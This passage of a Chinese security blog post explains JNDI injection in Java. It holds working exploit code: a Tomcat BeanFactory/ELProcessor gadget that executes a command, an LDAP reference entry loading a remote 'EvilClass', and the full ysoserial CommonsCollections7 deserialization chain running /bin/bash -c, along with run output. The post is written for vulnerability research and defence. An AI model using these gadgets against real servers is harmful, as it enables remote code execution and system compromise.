        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

可以看到,在处理 Reference 对象时,会先调用 ref.getFactoryClassName() 获取对应工厂类的名称,如果为空则通过网络去请求,即前文书中的情况;如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回。

因此,我们实际上可以指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。这种通过目标已有代码去实现任意代码执行的漏洞利用辅助类统称为 gadget

在这些 Gadget 中,最为常用的一个就是 org.apache.naming.factory.BeanFactory,这个类在 Tomcat 中,很多 web 应用都会包含,另外这个类的实现很有意思,其关键代码如下:

Tomcat 代码来自当前官网最新的 8.5.73 版本: https://tomcat.apache.org/download-80.cgi

public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    // 1. 反射获取类对象
    if (tcl != null) {
        beanClass = tcl.loadClass(beanClassName);
    } else {
        beanClass = Class.forName(beanClassName);
    }
    // 2. 初始化类实例
    Object bean = beanClass.getConstructor().newInstance();

    // 3. 根据 Reference 的属性查找 setter 方法的别名
    RefAddr ra = ref.get("forceString");
    String value = (String)ra.getContent();

    // 4. 循环解析别名并保存到字典中
    for (String param: value.split(",")) {
        param = param.trim();
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                param.substring(1);
        }
        forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }

    // 5. 解析所有属性,并根据别名去调用 setter 方法
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
        ra = e.nextElement();
        String propName = ra.getType();
        String value = (String)ra.getContent();
        Object[] valueArray = new Object[1];
        Method method = forced.get(propName);
        if (method != null) {
            valueArray[0] = value;
            method.invoke(bean, valueArray);
        }
        // ...
    }
}

上面注释标注了关键的部分,我们可以通过在返回给客户端的 Reference 对象的 forceString 字段指定 setter 方法的别名,并在后续初始化过程中进行调用。forceString 的格式为 a=foo,bar,以逗号分隔每个需要设置的属性,如果包含等号,则对应的 setter 方法为等号后的值 foo,如果不包含等号,则 setter 方法为默认值 setBar

在后续调用时,调用 setter 方法使用单个参数,且参数值为对应属性对象 RefAddr 的值 (getContent)。因此,实际上我们可以调用任意指定类的任意方法,并指定单个可控的参数。那么利用方案就呼之欲出了,下面是一个实际利用代码:

Registry registry = LocateRegistry.getRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
System.err.println("Server ready");

ResourceRef 在 tomcat 中表示某个资源的引用,其构造函数参数如下:

// java/org/apache/naming/ResourceRef.java
/**
    * Resource Reference.
    *
    * @param resourceClass Resource class
    * @param description Description of the resource
    * @param scope Resource scope
    * @param auth Resource authentication
    * @param singleton Is this resource a singleton (every lookup should return
    *                  the same instance rather than a new instance)?
    * @param factory The possibly null class name of the object's factory.
    * @param factoryLocation The possibly null location from which to load the
    *                        factory (e.g. URL)
    */
public ResourceRef(String resourceClass, String description,
                    String scope, String auth, boolean singleton,
                    String factory, String factoryLocation) {

其中我们指定了资源的实际类为 javax.el.ELProcessor,工厂类为 apache.naming.factory.BeanFactoryx=eval 令上述代码实际执行的是 ELProcessor.eval 函数,其第一个参数是属性 x 的值,这里指定的是(MacOS)弹计算器。

在服务端启动 registry 并注册该对象(Foo) 绑定,然后在客户端执行一次查找:

$ java -cp "apache-tomcat-8.5.73/lib/*:." JNDILookup rmi://localhost:1099/Foo
ret: javax.el.ELProcessor@149e0f5d

即可执行上述弹计算器的命令,由于流量有限,截图就不放了。这种 gadget 在服务端代码中还有很多,比如在 ysoserial 工具中就集成了一些常见的 payload。

LDAP 服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java 对象的存储,此外,还有一些其他实现 Java 对象存储的方法:

使用这些方法存储在 LDAP 目录中的 Java 对象一旦被客户端解析(反序列化),就可能会引起远程代码执行。

先看基于 JNDI 引用进行存储的例子。这表示我们在 LDAP 服务器中保存了一个 Java 对象的引用,保存的格式时根据 JNDI 的规范进行约定的,主要包含几个特殊属性(Attribute),以 LDIF 格式表述如下:

ObjectClass: javaNamingReference
javaCodebase: http://localhost:5000/
JavaFactory: EvilClass
javaClassName: FooBar

我们并不需要像网上其他文章一样使用 Java 去启动 LDAP 服务器,只需要在任意 LDAP 服务器中添加这么一项包含上述额外属性的记录即可。假设改 LDAP 服务器监听在默认的 389 端口,基于我们开头 JNDILook 程序的注入代码为:

$ java JNDILookup ldap://localhost/Test
EvilClass: static block
EvilClass: IIB block
EvilClass: constructor
EvilClass: getObjectInstance
ret: null

运行后客户端程序会获取并解析 LDAP 记录,从而根据属性名称去获取并实例化远程对象,这里使用的依然是 RMI 中的 EvilClass 作为示例 Payload,可以看到目标的代码也按照顺序执行了。

LDAP 服务器的流量记录如下所示:

ldap-ref

既然涉及到 codebase,那么应该存在默认禁用远程加载的限制,在高版本 JDK 中需要通过 com.sun.jndi.ldap.object.trustURLCodebase 选项去启用。这个限制在 JDK 11.0.18u1917u2016u211 版本时加入,略晚于 RMI 的远程加载限制。

另外一个类似的存储对象方法是通过 序列化 存储,关键属性如下:

javaSerializedData: aced00573…
javaClassName: FooBar

如果被序列化的对象类存在于目标的 classpath 中,且反序列化过程中可以通过流程控制可以实现参数控制,那么就可以实现远程代码执行。这其实是属于一大类开放式反序列化的漏洞,以 ysoserial 中的一个利用方式 CommonsCollections7 为例,其序列化的对象如下所示(需要依赖 commons-collections.jar):

@SuppressWarnings("unchecked")
private static Object getObject ( String cmd ) throws Exception
{
    Transformer[]   tarray      = new Transformer[]
    {
        new ConstantTransformer( Runtime.class ),
        new InvokerTransformer
        (
            "getMethod",
            new Class[]
            {
                String.class,
                Class[].class
            },
            new Object[]
            {
                "getRuntime",
                new Class[0]
            }
        ),
        new InvokerTransformer
        (
            "invoke",
            new Class[]
            {
                Object.class,
                Object[].class
            },
            new Object[]
            {
                null,
                new Object[0]
            }
        ),
        new InvokerTransformer
        (
            "exec",
            new Class[]
            {
                String[].class
            },
            new Object[]
            {
                new String[]
                {
                    "/bin/bash",
                    "-c",
                    cmd
                }
            }
        )
    };
    Transformer     tchain      = new ChainedTransformer( new Transformer[0] );
    Map             normalMap_0 = new HashMap();
    Map             normalMap_1 = new HashMap();
    Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );
    Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );
    lazyMap_0.put( "scz", "same" );
    lazyMap_1.put( "tDz", "same" );
    Hashtable       ht          = new Hashtable();
    ht.put( lazyMap_0, "value_0" );
    ht.put( lazyMap_1, "value_1" );
    lazyMap_1.remove( "scz" );
    Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );
    f.setAccessible( true );
    f.set( tchain, tarray );
    return( ht );
}

通过反射修改 (org.apache.commons.collections.functors.) ChainedTransformer 的 iTransformers 成员变量实现代码执行。 应该是基于 Hastable/LazyMap 的某些特性,我看不懂,但我大受震撼。

客户端包含 common-collections 后执行 LDAP 查询即可触发 RCE:

$ java -cp ldap/commons-collections-3.1.jar:. JNDILookup ldap://localhost/Test
ret: {{tDz=same, scz=java.lang.UNIXProcess@2dda6444}=value_1, {scz=same}=value_0}

回顾我们前文 SPI 一节中对于 CORBA 的介绍,RPC 的服务端在启动后向 orbd 目录服务注册自身的接口信息,紧挨着 op=to_name 请求的是一条 op=rebind 请求(COSNAMING),绑定请求中携带了关键的 IOR 字段,描述了自身的关键信息,同时这也是客户端在解析远程类(op=resolve_str)时所返回的数据。

IOR 字段中的关键内容有:

  • Type ID: 表示接口的唯一标识符;
  • IIOP Version: 协议版本;
  • Host: ORB 远程主机的地址;
  • Port: ORB 远程主机的端口;
  • Object Key: RPC 服务的标识;
  • Components: 额外的信息序列,用于实现对象方法的调用,比如支持的 ORB 服务以及所支持的私有协议;
  • Codebase: 远程代码的地址,通过控制这个字段,攻击者可以目标远程加载的代码;

在原始的 slide 中,作者提到 CORBA 加载远程代码存在一个严格的限制是 SecurityManager 必须启用,并且显式地配置规则才能在当前上下文访问和读取远程文件:

permission java.net.SocketPermission "*:1098-1099", "connect";
permission java.io.FilePermission "<<ALL FILES>>", "read”;

通过查看 JDK 的代码可知,resolve_str 最终会调用到 StubFactoryFactoryStaticImpl.createStubFactory 去加载远程 class 并调用 newInstance 创建对象,其内部使用的 ClassLoader 是 RMIClassLoader,在反序列化 stub 的上下文中,默认不允许访问远程文件,因此这种方法在实际场景中比较少用(我猜的),所以就不深入研究了。

总结

JNDI 注入的漏洞的关键在于动态协议切换导致请求了攻击者控制的目录服务,进而导致加载不安全的远程代码导致代码执行。漏洞 虽然出现在 InitialContext 及其子类 (InitialDirContext 或 InitialLdapContext) 的 lookup 上,但也有许多其他的方法间接调用了 lookup,比如:

  • InitialContext.rename()
  • InitialContext.lookupLink()

或者在一些常见外部类中调用了 lookup,比如:

  • org.springframework.transaction.jta.JtaTransactionManager.readObject()
  • com.sun.rowset.JdbcRowSetImpl.execute()
  • javax.management.remote.rmi.RMIConnector.connect()
  • org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

这都是 Java 应用最终导致 RCE 的关键环节,并且已经普遍用于日常的反序列化漏洞利用中。因此对于这些关键函数的扫描一方面可以让我们找出用户可控的 JNDI 注入点,另一方面也可以辅助查找可用于利用的 Gadget,帮助安全研究人员深入理解漏洞的成因和危害。

参考资料